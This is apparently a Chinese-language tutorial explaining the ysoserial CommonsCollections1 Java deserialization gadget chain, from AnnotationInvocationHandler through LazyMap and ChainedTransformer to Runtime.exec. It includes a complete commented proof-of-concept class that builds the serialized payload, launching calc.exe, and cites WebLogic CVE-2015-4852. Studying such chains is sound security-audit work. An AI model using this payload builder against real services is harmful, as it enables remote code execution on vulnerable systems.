对于ysoserial工具来说,我们不仅要知道其使用,也要知道其原理,这样才能对漏洞的理解更加的深刻。下面从CC链开始分析其payload帮助我们学习java安全代码审计。
适用版本:3.1-3.2.1,jdk1.8以前
调用链:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
对象AnnotationInvocationHandler进行反序列化的时候,会调用重写的readObject方法,并生成对成员变量memberValues的entry的迭代器
关于entrySet:
entrySet是 java中 键-值 对的集合
map中一个Key对应一个value 而key和value组合起来的一个组就是entry,要想取出这个组里的key和value就用entry的迭代器迭代即可map.entrySet().iterator()是去获得这个集合的迭代器,保存在iter里面。
this.memberValues是一个Map类型的代理对象(Proxy),通过AnnotationInvocationHandler的构造方法传入,if条件通过即可把var2值赋给this.memberValues
这里有个知识点:被动态代理的对象调用任意方法都会通过对应InvocationHandler的invoke方法触发
关于java动态代理:https://www.jianshu.com/p/9bcac608c714
而AnnotationInvocationHandler是做为一个InvocationHandler
所以被动态代理的对象this.memberValues调用了entrySet().iterator()方法,就会去调用对应InvocationHandler的invoke方法,也就是AnnotationInvocationHandler的invoke方法
被动态代理的对象为LazyMap
此时的this.memberValues为LazyMap
AnnotationInvocationHandler.invoke中有处调用了get方法,传入this.memberValues=LazyMap就可以调用LazyMap.get方法
调用LazyMap的get方法,此方法中
这一行Object value = this.factory.transform(key);调用了transform方法,其中this.factory是可以通过decorate方法调用构造函数传入
把factory调换成ChainedTransformer就可以调用ChainedTransformer.transform()
ChainedTransformer.transform进行了一个循环iTransformers数组中的元素调用transform方法
iTransformers为构造函数传入的Transformer[]
ConstantTransformer是一个Transformer,transform方法是返回传入的对象
InvokerTransformer也是一个Transformer,transform方法是调用反射来执行方法
iMethodName,iParamTypes,iArgs为构造函数传入。
简单画了下利用链的流程图
简化的poc,附上注释:
package ysoserial.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class TestCC1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
//创建Transform[]数组
//构造((Runtime) Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//传入ChainedTransformer
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
hashMap.put("value","xxx");
//ChainedTransformer传入LazyMap构造方法得到LazyMap实例对象
Map lazyMap = LazyMap.decorate(hashMap, chain);
//通过反序列化调用AnnotationInvocationHandler的readObect,然后通过readObject中的this.memberValues.entrySet().iterator()触发动态代理
//从而调用对应InvocationHandler(AnnotationInvocationHandler)的invoke方法
//AnnotationInvocationHandler构造方法为protected权限,需要利用反射创建
//利用反射创建AnnotationInvocationHandler的class类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获得AnnotationInvocationHandler的构造方法
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
//创建AnnotationInvocationHandler对象,传入lazyMap,并且转换成InvocationHandler
//这里相当于创建LazyMap的InvocationHandler实例对象
InvocationHandler instance1 = (InvocationHandler) cons.newInstance(Override.class, lazyMap);
//创建LazyMap的动态代理对象,转型为Map用于传入AnnotationInvocationHandler的构造方法
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), instance1);
//创建一个AnnotationInvocationHandler实例,并且把刚刚创建的代理mapProxy赋值给this.memberValues
InvocationHandler instance2 = (InvocationHandler)cons.newInstance(Override.class, mapProxy);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance2);
oos.flush();
oos.close();
//反序列化触发
}
}
相关漏洞:
WebLogic反序列化漏洞:CVE-2015-4852
原文:https://www.cnblogs.com/yyhuni/p/14797752.html